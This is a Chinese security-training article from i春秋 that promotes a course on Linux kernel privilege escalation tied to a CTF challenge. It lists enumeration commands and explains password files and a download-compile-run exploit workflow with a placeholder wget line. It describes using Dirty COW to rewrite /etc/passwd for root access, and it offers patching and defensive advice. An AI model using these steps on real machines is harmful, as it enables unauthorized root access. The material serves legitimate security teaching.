关于Linux提权,先简单了解几个概念。
Linux发行版本是我们常说的Linux操作系统,是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:
-
CentOS -
redhat -
ubuntu -
kali -
linux内核
Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux内核提权技术随着时代的发展也在不断推陈出新,尤其是Android内核提权,更是影响到了Linux内核提权技术的发展。
今天,i春秋通过一期公开课《Linux内核的花花世界》对Linux内核提权技术进行简单的回顾总结,以及分析Linux内核提权在嵌入式设备如MIPS架构上的应用。
感兴趣的小伙伴,识别二维码立即看课
PS:Web端看课体验更佳,看课地址:
https://www.ichunqiu.com/open/62361
本期重点
1、Linux内核提权的背景介绍;
2、结合强网杯真题进行实例分析;
3、思考与总结。
提权基础知识
uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版
密码权限
大部分Linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件有关,passwd里面储存的是用户,shadow里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。
/etc/passwd
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面。
shadow里面的就是密码的hash,但只有root权限才可以查看。
密码复用
另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者Web后台的密码就是root密码。
提权常见流程
1、wget http://exp/exp.c
下载exp文件
2、gcc -o exp exp.c
利用gcc进行编译操作,编译成二进制文件
3、chmod +x exp
将exp更改为可执行权限
4、./exp
运行exp进行提权
内核漏洞提权
通过利用Linux内核中的漏洞,有时我们可以提升特权。我们通常需要了解的操作系统,体系结构和内核版本是测试内核利用是否可行的测试方法。
内核漏洞
内核漏洞利用程序是利用内核漏洞来执行具有更高权限的任意代码的程序。成功的内核利用通常以root命令提示符的形式,为攻击者提供对目标系统的超级用户访问权限。
在许多情况下,升级到Linux系统上的根目录就像将内核漏洞利用程序下载到目标文件系统,编译该漏洞利用程序然后执行它一样简单。
假设我们可以以非特权用户身份运行代码,这就是内核利用的通用工作流程:
1、诱使内核在内核模式下运行我们的有效负载;
2、处理内核数据,例如进程特权;
3、以新特权启动shell root!
考虑到要成功利用内核利用攻击,攻击者需要满足以下四个条件:
1、易受攻击的内核;
2、匹配的漏洞利用程序;
3、将漏洞利用程序转移到目标上的能力;
4、在目标上执行漏洞利用程序的能力。
抵御内核漏洞的最简单方法是保持内核的修补和更新。在没有补丁的情况下,管理员可以极大地影响在目标上转移和执行漏洞利用的能力。考虑到这些因素,如果管理员可以阻止将利用程序引入和/或执行到Linux文件系统上,则内核利用程序攻击将不再可行。
因此,管理员应专注于限制或删除支持文件传输的程序,例如FTP,TFTP,SCP,wget和curl。当需要这些程序时,它们的使用应限于特定的用户、目录、应用程序(例如SCP)和特定的IP地址或域。
内核信息收集
一些基本命令收集一些Linux内核信息:
搜索漏洞
site:exploit-db.com kernel version python linprivchecker.py extended
通过脏牛(**CVE-2016-5195**)利用易受攻击的机器
$ whoami命令–告诉我们当前用户是john(非root用户)
$ uname -a –给我们我们知道容易受到dirtycow攻击的内核版本>从此处下载dirtycow漏洞–https://www.exploit-db .com/exploits/40839/>编译并执行。通过编辑/etc/passwd文件,它将“root”用户替换为新用户“rash”。
$ su rash –将当前登录用户更改为root用户的“rash”。
其他内核提权
对于不同的内核和操作系统,可以公开获得许多不同的本地特权升级漏洞。是否可以使用内核利用漏洞在Linux主机上获得root访问权限,取决于内核是否易受攻击。Kali Linux具有exploit-db漏洞的本地副本,这使搜索本地根漏洞更加容易。我不建议在搜索Linux内核漏洞时完全依赖此数据库。
避免一开始就利用任何本地特权升级漏洞
如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。
End
— 往期回顾 —
▶ 代码审计实操
▶ 浅析勒索病毒
▶ 浅析红队基础设施
▶ 红队建设之道
▶ 手机锁屏密码安全
▶ 中间人攻击
▶ 十分钟看懂隐写术
▶ 信息泄露问题
▶ 狡猾的漏洞利用
▶ CAN总线安全
力荐丨渗透测试就业班
杭州班:报名立减5000元,开课时间:5月中旬;
北京、天津班:报名立减3000元,开课时间:5月中旬;
广州班:报名立减4000元,开课时间:6月中旬;
成都班:报名立减2000元,开课时间:8月中旬。
快速咨询入口
i春秋官方公众号为大家提供
前沿的网络安全技术
简单易懂的实用工具
紧张刺激的安全竞赛
还有网络安全大讲堂
更多技能等你来解锁
本文始发于微信公众号(i春秋):强网杯真题实例分析丨Linux内核提权技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论